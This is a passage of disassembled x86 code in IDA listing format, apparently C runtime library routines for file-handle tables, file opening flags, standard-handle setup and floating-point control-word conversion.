or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41FA12
; ---------------------------------------------------------------------------
loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41FA12: ; CODE XREF: sub_41F9D8+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41F9D8 endp
; =============== S U B R O U T I N E =======================================
sub_41FA1C proc near ; CODE XREF: sub_419D23+61p
; sub_41A8A2+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_48B440
jb short loc_41FA2B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_48B340[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41FA1C endp
; =============== S U B R O U T I N E =======================================
sub_41FA42 proc near ; DATA XREF: ___:00426020o
mov eax, dword_48B320
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41FA56
mov eax, 200h
jmp short loc_41FA5C
; ---------------------------------------------------------------------------
loc_41FA56: ; CODE XREF: sub_41FA42+Bj
cmp eax, esi
jge short loc_41FA61
mov eax, esi
loc_41FA5C: ; CODE XREF: sub_41FA42+12j
mov dword_48B320, eax
loc_41FA61: ; CODE XREF: sub_41FA42+16j
push 4
push eax
call sub_4210E8
pop ecx
mov dword_48A310, eax
test eax, eax
pop ecx
jnz short loc_41FA95
push 4
push esi
mov dword_48B320, esi
call sub_4210E8
pop ecx
mov dword_48A310, eax
test eax, eax
pop ecx
jnz short loc_41FA95
push 1Ah
call sub_419CDA
pop ecx
loc_41FA95: ; CODE XREF: sub_41FA42+30j
; sub_41FA42+49j
xor ecx, ecx
mov eax, offset off_43BCB8
loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej
mov edx, dword_48A310
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43BF38
jl short loc_41FA9C
xor edx, edx
mov ecx, offset dword_43BCC8
loc_41FAB9: ; CODE XREF: sub_41FA42+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_48B340[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41FAD6
test eax, eax
jnz short loc_41FAD9
loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41FAD9: ; CODE XREF: sub_41FA42+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43BD28
jl short loc_41FAB9
pop esi
retn
sub_41FA42 endp
; =============== S U B R O U T I N E =======================================
sub_41FAE7 proc near ; DATA XREF: ___:00426030o
; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES
call sub_41A82C
cmp byte_48A054, 0
jz short locret_41FAFA
jmp loc_421199
; ---------------------------------------------------------------------------
locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj
retn
sub_41FAE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p
; sub_419E38+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41FB07
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FB07: ; CODE XREF: sub_41FAFB+8j
cmp dword_48A0A8, 0
jnz short loc_41FB22
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41FB54
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FB22: ; CODE XREF: sub_41FAFB+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_4397AC
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_48A0B8
nop
call near ptr 2790000h
test eax, eax
jz short loc_41FB54
cmp [ebp+arg_0], 0
jz short loc_41FB61
loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej
; sub_41FAFB+51j
mov dword_48A014, 2Ah
or eax, 0FFFFFFFFh
loc_41FB61: ; CODE XREF: sub_41FAFB+57j
pop ebp
retn
sub_41FAFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep
; sub_41EB6C+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424BE8
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_48A1DC
xor ebx, ebx
cmp eax, ebx
jnz short loc_41FBD2
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4248D8
push esi
nop
call near ptr 25C0000h
test eax, eax
jz short loc_41FBB0
mov eax, esi
jmp short loc_41FBCD
; ---------------------------------------------------------------------------
loc_41FBB0: ; CODE XREF: sub_41FB63+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_43C824
push esi
push ebx
call near ptr 25C0792h
nop
test eax, eax
jz loc_41FC98
push 2
pop eax
loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj
mov dword_48A1DC, eax
loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj
cmp eax, 2
jnz short loc_41FBFB
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41FBE3
mov eax, dword_48A0A8
loc_41FBE3: ; CODE XREF: sub_41FB63+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call near ptr 25C0792h
nop
jmp loc_41FC9A
; ---------------------------------------------------------------------------
loc_41FBFB: ; CODE XREF: sub_41FB63+72j
cmp eax, 1
jnz loc_41FC98
cmp [ebp+arg_10], ebx
jnz short loc_41FC11
mov eax, dword_48A0B8
mov [ebp+arg_10], eax
loc_41FC11: ; CODE XREF: sub_41FB63+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 2610000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41FC98
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_417330
add esp, 0Ch
jmp short loc_41FC67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41FC67: ; CODE XREF: sub_41FB63+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41FC98
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2610000h
cmp eax, ebx
jz short loc_41FC98
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call near ptr 25C0000h
nop
jmp short loc_41FC9A
; ---------------------------------------------------------------------------
loc_41FC98: ; CODE XREF: sub_41FB63+61j
; sub_41FB63+9Bj ...
xor eax, eax
loc_41FC9A: ; CODE XREF: sub_41FB63+93j
; sub_41FB63+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41FB63 endp
; =============== S U B R O U T I N E =======================================
sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_48B340
loc_41FCBB: ; CODE XREF: sub_41FCAC+48j
mov eax, [ecx]
test eax, eax
jz short loc_41FCF8
lea edx, [eax+100h]
loc_41FCC7: ; CODE XREF: sub_41FCAC+28j
cmp eax, edx
jnb short loc_41FCE7
test byte ptr [eax+4], 1
jz short loc_41FCD6
add eax, 8
jmp short loc_41FCC7
; ---------------------------------------------------------------------------
loc_41FCD6: ; CODE XREF: sub_41FCAC+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41FD3B
loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_48B440
jl short loc_41FCBB
jmp short loc_41FD3B
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FCAC+13j
mov esi, 100h
push esi
call sub_417B89
test eax, eax
pop ecx
jz short loc_41FD3B
add dword_48B440, 20h
lea ecx, ds:48B340h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41FD1E: ; CODE XREF: sub_41FCAC+88j
cmp eax, edx
jnb short loc_41FD36
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41FD1E
; ---------------------------------------------------------------------------
loc_41FD36: ; CODE XREF: sub_41FCAC+74j
shl edi, 5
mov ebx, edi
loc_41FD3B: ; CODE XREF: sub_41FCAC+39j
; sub_41FCAC+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41FCAC endp
; =============== S U B R O U T I N E =======================================
sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_48B440
push edi
jnb short loc_41FDA1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:48B340h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41FDA1
cmp dword_439594, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41FD97
sub eax, 0
jz short loc_41FD8E
dec eax
jz short loc_41FD89
dec eax
jnz short loc_41FD97
push ebx
push 0FFFFFFF4h
jmp short loc_41FD91
; ---------------------------------------------------------------------------
loc_41FD89: ; CODE XREF: sub_41FD41+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41FD91
; ---------------------------------------------------------------------------
loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj
push ebx
push 0FFFFFFF6h
loc_41FD91: ; CODE XREF: sub_41FD41+46j
; sub_41FD41+4Bj
nop
call near ptr 25B0B69h
loc_41FD97: ; CODE XREF: sub_41FD41+36j
; sub_41FD41+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41FDB5
; ---------------------------------------------------------------------------
loc_41FDA1: ; CODE XREF: sub_41FD41+Cj
; sub_41FD41+28j
and dword_48A018, 0
mov dword_48A014, 9
or eax, 0FFFFFFFFh
loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej
pop edi
pop esi
retn
sub_41FD41 endp
; =============== S U B R O U T I N E =======================================
sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_48B440
push edi
jnb short loc_41FE1B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:48B340h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41FE1B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41FE1B
cmp dword_439594, 1
jnz short loc_41FE11
xor eax, eax
sub ecx, eax
jz short loc_41FE08
dec ecx
jz short loc_41FE03
dec ecx
jnz short loc_41FE11
push eax
push 0FFFFFFF4h
jmp short loc_41FE0B
; ---------------------------------------------------------------------------
loc_41FE03: ; CODE XREF: sub_41FDB8+41j
push eax
push 0FFFFFFF5h
jmp short loc_41FE0B
; ---------------------------------------------------------------------------
loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej
push eax
push 0FFFFFFF6h
loc_41FE0B: ; CODE XREF: sub_41FDB8+49j
; sub_41FDB8+4Ej
nop
call near ptr 25B0B69h
loc_41FE11: ; CODE XREF: sub_41FDB8+38j
; sub_41FDB8+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41FE2F
; ---------------------------------------------------------------------------
loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj
; sub_41FDB8+2Aj ...
and dword_48A018, 0
mov dword_48A014, 9
or eax, 0FFFFFFFFh
loc_41FE2F: ; CODE XREF: sub_41FDB8+61j
pop edi
pop esi
retn
sub_41FDB8 endp
; =============== S U B R O U T I N E =======================================
sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p
; sub_41A6B7+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_48B440
jnb short loc_41FE5A
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_48B340[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41FE5A
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41FE5A: ; CODE XREF: sub_41FE32+Aj
; sub_41FE32+23j
and dword_48A018, 0
mov dword_48A014, 9
or eax, 0FFFFFFFFh
retn
sub_41FE32 endp
; =============== S U B R O U T I N E =======================================
sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_48B440
jnb short loc_41FEB8
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_48B340[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41FEB8
push eax
call sub_41FE32
pop ecx
push eax
nop
call near ptr 25B0575h
test eax, eax
jnz short loc_41FEAD
call near ptr 2630313h
nop
jmp short loc_41FEAF
; ---------------------------------------------------------------------------
loc_41FEAD: ; CODE XREF: sub_41FE6F+34j
xor eax, eax
loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj
test eax, eax
jz short locret_41FEC5
mov dword_48A018, eax
loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj
; sub_41FE6F+22j
mov dword_48A014, 9
or eax, 0FFFFFFFFh
locret_41FEC5: ; CODE XREF: sub_41FE6F+42j
retn
sub_41FE6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41FEEC
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41FEF7
; ---------------------------------------------------------------------------
loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41FEF7: ; CODE XREF: sub_41FEC6+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41FF11
test ch, 40h
jnz short loc_41FF0D
cmp dword_48A2E8, eax
jz short loc_41FF11
loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj
or [ebp+var_1], 80h
loc_41FF11: ; CODE XREF: sub_41FEC6+38j
; sub_41FEC6+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41FF49
dec eax
jz short loc_41FF40
dec eax
jz short loc_41FF37
loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj
; sub_41FEC6+E8j ...
mov dword_48A014, 16h
mov dword_48A018, ebx
jmp loc_42015C
; ---------------------------------------------------------------------------
loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41FF50
; ---------------------------------------------------------------------------
loc_41FF40: ; CODE XREF: sub_41FEC6+57j
mov [ebp+var_C], 40000000h
jmp short loc_41FF50
; ---------------------------------------------------------------------------
loc_41FF49: ; CODE XREF: sub_41FEC6+54j
mov [ebp+var_C], 80000000h
loc_41FF50: ; CODE XREF: sub_41FEC6+78j
; sub_41FEC6+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41FF7E
cmp eax, 20h
jz short loc_41FF75
cmp eax, 30h
jz short loc_41FF6C
cmp eax, 40h
jnz short loc_41FF22
mov [ebp+var_10], esi
jmp short loc_41FF81
; ---------------------------------------------------------------------------
loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj
mov [ebp+var_10], 2
jmp short loc_41FF81
; ---------------------------------------------------------------------------
loc_41FF75: ; CODE XREF: sub_41FEC6+95j
mov [ebp+var_10], 1
jmp short loc_41FF81
; ---------------------------------------------------------------------------
loc_41FF7E: ; CODE XREF: sub_41FEC6+90j
mov [ebp+var_10], ebx
loc_41FF81: ; CODE XREF: sub_41FEC6+A4j
; sub_41FEC6+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41FFCB
jz short loc_41FFC6
cmp ecx, ebx
jz short loc_41FFC6
cmp ecx, edi
jz short loc_41FFBD
cmp ecx, 200h
jz short loc_41FFE4
cmp ecx, 300h
jnz loc_41FF22
mov [ebp+var_8], 2
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j
mov [ebp+var_8], 4
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j
; sub_41FEC6+D4j
mov [ebp+var_8], esi
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj
cmp ecx, 500h
jz short loc_41FFED
cmp ecx, 600h
jz short loc_41FFE4
cmp ecx, edx
jz short loc_41FFED
jmp loc_41FF22
; ---------------------------------------------------------------------------
loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j
; sub_41FEC6+113j
mov [ebp+var_8], 5
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj
; sub_41FEC6+117j
mov [ebp+var_8], 1
loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j
; sub_41FEC6+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_420013
mov ecx, dword_48A01C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_420013
push 1
pop esi
loc_420013: ; CODE XREF: sub_41FEC6+138j
; sub_41FEC6+148j
test al, 40h
jz short loc_420021
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_420021: ; CODE XREF: sub_41FEC6+14Fj
test ah, 10h
jz short loc_420028
or esi, edi
loc_420028: ; CODE XREF: sub_41FEC6+15Ej
test al, 20h
jz short loc_420034
or esi, 8000000h
jmp short loc_42003E
; ---------------------------------------------------------------------------
loc_420034: ; CODE XREF: sub_41FEC6+164j
test al, 10h
jz short loc_42003E
or esi, 10000000h
loc_42003E: ; CODE XREF: sub_41FEC6+16Cj
; sub_41FEC6+170j
call sub_41FCAC
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_42005F
and dword_48A018, 0
mov dword_48A014, 18h
jmp short loc_42009D
; ---------------------------------------------------------------------------
loc_42005F: ; CODE XREF: sub_41FEC6+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call near ptr 2630000h
nop
mov esi, eax
cmp esi, edi
jz short loc_420090
push esi
nop
call near ptr 25D0000h
test eax, eax
jnz short loc_4200A4
push esi
nop
call near ptr 2611A31h
loc_420090: ; CODE XREF: sub_41FEC6+1B6j
call near ptr 2630313h
nop
push eax
call sub_41EF44
pop ecx
loc_42009D: ; CODE XREF: sub_41FEC6+197j
mov eax, edi
jmp loc_42017A
; ---------------------------------------------------------------------------
loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j
cmp eax, 2
jnz short loc_4200AF
or [ebp+var_1], 40h
jmp short loc_4200B8
; ---------------------------------------------------------------------------
loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j
cmp eax, 3
jnz short loc_4200B8
or [ebp+var_1], 8
loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j
; sub_41FEC6+1ECj
push esi
push ebx
call sub_41FD41
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:48B340h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_420161
test al, 80h
jz short loc_420161
test byte ptr [ebp+arg_4], 2
jz short loc_420161
push 2
push 0FFFFFFFFh
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_420116
cmp dword_48A018, 83h
jz short loc_420161
jmp short loc_420155
; ---------------------------------------------------------------------------
loc_420116: ; CODE XREF: sub_41FEC6+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41E321
add esp, 0Ch
test eax, eax
jnz short loc_420143
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_420143
push [ebp+var_10]
push ebx
call sub_4211F1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_420155
loc_420143: ; CODE XREF: sub_41FEC6+265j
; sub_41FEC6+26Bj
push 0
push 0
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_420161
loc_420155: ; CODE XREF: sub_41FEC6+24Ej
; sub_41FEC6+27Bj
push ebx
call sub_41A6B7
pop ecx
loc_42015C: ; CODE XREF: sub_41FEC6+6Cj
or eax, 0FFFFFFFFh
jmp short loc_42017A
; ---------------------------------------------------------------------------
loc_420161: ; CODE XREF: sub_41FEC6+221j
; sub_41FEC6+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_420178
test byte ptr [ebp+arg_4], 8
jz short loc_420178
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_420178: ; CODE XREF: sub_41FEC6+29Fj
; sub_41FEC6+2A5j
mov eax, ebx
loc_42017A: ; CODE XREF: sub_41FEC6+1D9j
; sub_41FEC6+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41FEC6 endp
; =============== S U B R O U T I N E =======================================
sub_42017F proc near ; CODE XREF: sub_41C50A+52p
xor eax, eax
retn
sub_42017F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420182 proc near ; CODE XREF: sub_4201B7+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_4201CD
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42025F
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_420182 endp
; =============== S U B R O U T I N E =======================================
sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_420182
pop ecx
pop ecx
retn
sub_4201B7 endp
; =============== S U B R O U T I N E =======================================
sub_4201CD proc near ; CODE XREF: sub_420182+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_4201DE
push 10h
pop eax
loc_4201DE: ; CODE XREF: sub_4201CD+Cj
test bl, 4
jz short loc_4201E5
or al, 8
loc_4201E5: ; CODE XREF: sub_4201CD+14j
test bl, 8
jz short loc_4201EC
or al, 4
loc_4201EC: ; CODE XREF: sub_4201CD+1Bj
test bl, 10h
jz short loc_4201F3
or al, 2
loc_4201F3: ; CODE XREF: sub_4201CD+22j
test bl, 20h
jz short loc_4201FA
or al, 1
loc_4201FA: ; CODE XREF: sub_4201CD+29j
test bl, 2
jz short loc_420204
or eax, 80000h
loc_420204: ; CODE XREF: sub_4201CD+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_42023C
cmp edx, 400h
jz short loc_420239
cmp edx, 800h
jz short loc_420235
cmp edx, esi
jnz short loc_42023C
or eax, edi
jmp short loc_42023C
; ---------------------------------------------------------------------------
loc_420235: ; CODE XREF: sub_4201CD+5Ej
or eax, ebp
jmp short loc_42023C
; ---------------------------------------------------------------------------
loc_420239: ; CODE XREF: sub_4201CD+56j
or ah, 1
loc_42023C: ; CODE XREF: sub_4201CD+4Ej
; sub_4201CD+62j ...
and ecx, edi
pop esi
jz short loc_42024C
cmp ecx, ebp
jnz short loc_420251
or eax, 10000h
jmp short loc_420251
; ---------------------------------------------------------------------------
loc_42024C: ; CODE XREF: sub_4201CD+72j
or eax, 20000h
loc_420251: ; CODE XREF: sub_4201CD+76j
; sub_4201CD+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42025E
or eax, 40000h
locret_42025E: ; CODE XREF: sub_4201CD+8Aj
retn
sub_4201CD endp
; =============== S U B R O U T I N E =======================================
sub_42025F proc near ; CODE XREF: sub_420182+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42026F
push 1
pop eax
loc_42026F: ; CODE XREF: sub_42025F+Bj
test bl, 8
jz short loc_420276
or al, 4
loc_420276: ; CODE XREF: sub_42025F+13j
test bl, 4
jz short loc_42027D
or al, 8
loc_42027D: ; CODE XREF: sub_42025F+1Aj
test bl, 2
jz short loc_420284
or al, 10h
loc_420284: ; CODE XREF: sub_42025F+21j
test bl, 1
jz short loc_42028B
or al, 20h
loc_42028B: ; CODE XREF: sub_42025F+28j
test ebx, 80000h
jz short loc_420295
or al, 2
loc_420295: ; CODE XREF: sub_42025F+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_4202C2
cmp ecx, 100h
jz short loc_4202BF
cmp ecx, esi
jz short loc_4202BA
cmp ecx, edx
jnz short loc_4202C2
or ah, 0Ch
jmp short loc_4202C2
; ---------------------------------------------------------------------------
loc_4202BA: ; CODE XREF: sub_42025F+50j
or ah, 8
jmp short loc_4202C2
; ---------------------------------------------------------------------------
loc_4202BF: ; CODE XREF: sub_42025F+4Cj
or ah, 4
loc_4202C2: ; CODE XREF: sub_42025F+44j
; sub_42025F+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_4202D8
cmp ecx, 10000h
jnz short loc_4202DA
or eax, esi
jmp short loc_4202DA
; ---------------------------------------------------------------------------
loc_4202D8: ; CODE XREF: sub_42025F+6Bj
or eax, edx
loc_4202DA: ; CODE XREF: sub_42025F+73j
; sub_42025F+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_4202E7
or ah, 10h
locret_4202E7: ; CODE XREF: sub_42025F+83j
retn
sub_42025F endp
; =============== S U B R O U T I N E =======================================
sub_4202E8 proc near ; CODE XREF: sub_420387+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_42032D
inc esi
cmp esi, 3
jge short loc_420328
lea eax, [eax+esi*4]
loc_42031A: ; CODE XREF: sub_4202E8+3Ej
cmp dword ptr [eax], 0
jnz short loc_42032D
inc esi
add eax, 4
cmp esi, 3
jl short loc_42031A
loc_420328: ; CODE XREF: sub_4202E8+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42032D: ; CODE XREF: sub_4202E8+27j
; sub_4202E8+35j
xor eax, eax
pop esi
retn
sub_4202E8 endp
; =============== S U B R O U T I N E =======================================
sub_420331 proc near ; CODE XREF: sub_420387+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_421337
